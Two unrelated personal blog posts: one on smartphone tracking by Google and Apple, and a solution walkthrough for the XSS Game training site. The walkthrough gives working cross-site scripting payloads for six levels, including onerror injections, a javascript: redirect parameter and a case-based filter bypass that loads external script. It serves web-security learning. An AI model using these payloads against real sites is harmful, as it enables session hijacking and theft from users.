How do Big Names want to control and track you?

When smart phone was booming 5 or 6 years ago, there were two big names became more and more popular. The choices were iOS or Android. Even till now, those are still major players in this industry. Both are controlled by Apple and Goolge respectively where you might not know that they (secretly) have ‘power’ to monitor your activities.

At that time, I still chose Nokia phone which was still running using 2G. I just needed to call and send SMS only. Now, I have been using Android phone for about 7 months. It is due to my job requirements. However, I still miss my old Nokia phone where not much secrets stored.

Recently, I read news that making me feel that my old phone was the best choice. First, Google introduce My Activity (https://myactivity.google.com/). This product reveals that Google knows everything about you. Your activities on internet is tracked, it shows a searchable history of pretty much everything you do online, including previously visited websites, voice searches, searched things and places, watched Netflix programs, places you search using Google Map and all activities you did on each of its product. Those activities are tracked not only when you surf using desktop. It also includes what you do using your Android phone. The purpose of stored all activities is to target relevant ads to Google users and to improve its service. You would be surprised that you can see what you did two or (even) three years ago. My Activity covers almost Goolge products, such as Ads, Search, Android, Play, Chrome, YouTube, Video Search, Image Search, Maps, News, Now, Books, Developers, Finance, Help, and Shopping. The good thing is Google allow you to remove your history records. You can even suspend web and application activity tracking for My Activity, but that could impact the features like auto complete suggestions.

Second one is a news about a patent to allow Apple disabling iPhone cameras (https://www.theguardian.com/technology/2016/jun/30/apple-iphone-camera-disable-remote-sensors-patent). The patent shows that Apple may allow iPhone cameras to be disabled through special infrared sensors, giving the example of a concert venue. One side, it is very good  because smart phone (sometimes) make a nuisance at concert or worship places (for example). The other side is about Apple (and third parties) has power to access your ‘secret’ in your smart phone.

Now, the thing that we have to think is how safe our personal data is. Let’s say Google and Apple make their systems always send something to central or accept any command… are you ok with this? If not… is there any other OS available in market that you can use? 

For me… my personal view.. i still need them. However, i  ‘manage’ what i do (search, watch and listen) and not open/store confidential files. I am also not interested to do mobile banking and payment using smart phone.  At least, this is what i can do now.

What about you?  The choice is yours…

Answers for XSS Game

Cross Site Scripting (XSS) is a common and critical vulnerability in web application. I imagine this kind of vulnerability as a gate where a malicious user can do bad things after finding it (e.g.  session hijacking).

To know how to protect our web application from XSS vulnerability, we have to know how a malicious user does it.  For learning purpose, you may try to attack this web application, XSS Game.  This web application allow you to find and exploit XSS vulnerability.

There are six levels in that game. What you need to do is just showing JavaScript alert message. Once you are able to show a pop up message, this game will open next level for you.

You should try to solve all level before continue reading my solutions 🙂

These are my solution.

Level #1

These are possible solutions for this level:
a. Enter this in text field  <img src=”hello.jpg” onerror=”alert(‘XSS Vulnerability’)”/>
b. Enter this in text field <script>alert(‘XSS Vulnerability’)</script> .

Level #2

At this level, if you enter <script>alert(‘XSS Vulnerability’)</script>, it does not work. Do you know why?

So, you can try another way. You may enter img tag, such as

<img src=”hello.jpg” onerror=”alert(‘XSS Vulnerability’)”/> .

Level #3

Look at the following code in index.html.

var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";

If you look at URL part, you will notice that there is a number  displayed at fragment part of URL. That value will be passed as num in code above. For this level, what you need to do is just passing a part of code so that browser displays alert message.

You can paste the following part of code into URL (after # sign) and click on Go button.

.jpg’ onerror=’alert(“XSS Vulnerability”)’ src=’hello

Level #4

Look at the following code in timer.html.

 <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />

In this case, you need to change timer with malicious code. You can paste it into the text file on page and then click on Create Timer button.

1′); alert(‘XSS Vulnerability’); void(‘0

Level #5

In second page, after you click on ‘Sign Up’ hyperlink, you will get the following URL

https://xss-game.appspot.com/level5/frame/signup?next=confirm

Look at the value of ‘next’. That value will be used to go to next page once you click on ‘Next ‘ hyperlink (see in signup.html)

<a href="{{ next }}">Next >></a>

To exploit its vulnerability, you go to first page again and paste this code at the end of URL

/signup?next=javascript:alert(‘XSS Vulnerability’)

The URL become like this

https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(‘XSS Vulnerability’)

Then click on ‘Sign Up’ and ‘Next’ hyperlinks. You will see a pop-up window

Level #6

To be honest, I spent a lot of time to finish this level. In this level, you need to append an evil URL into main URL.

Look at index.html. You will notice that an evil URL must be using SSL protocol but cannot ‘https’.

// This will totally prevent us from loading evil URLs!

      if (url.match(/^https?:\/\//)) {

        setInnerText(document.getElementById("log"),

          "Sorry, cannot load a URL containing \"http\".");

        return;

      }

To overcome this checking, you can use ‘HTTPS’ instead of ‘https”. Put the following URL to replace /static/gadget.js

https://www.google.com/jsapi?callback=alert

So, it become like this

https://xss-game.appspot.com/level6/frame#HTTPS://www.google.com/jsapi?callback=alert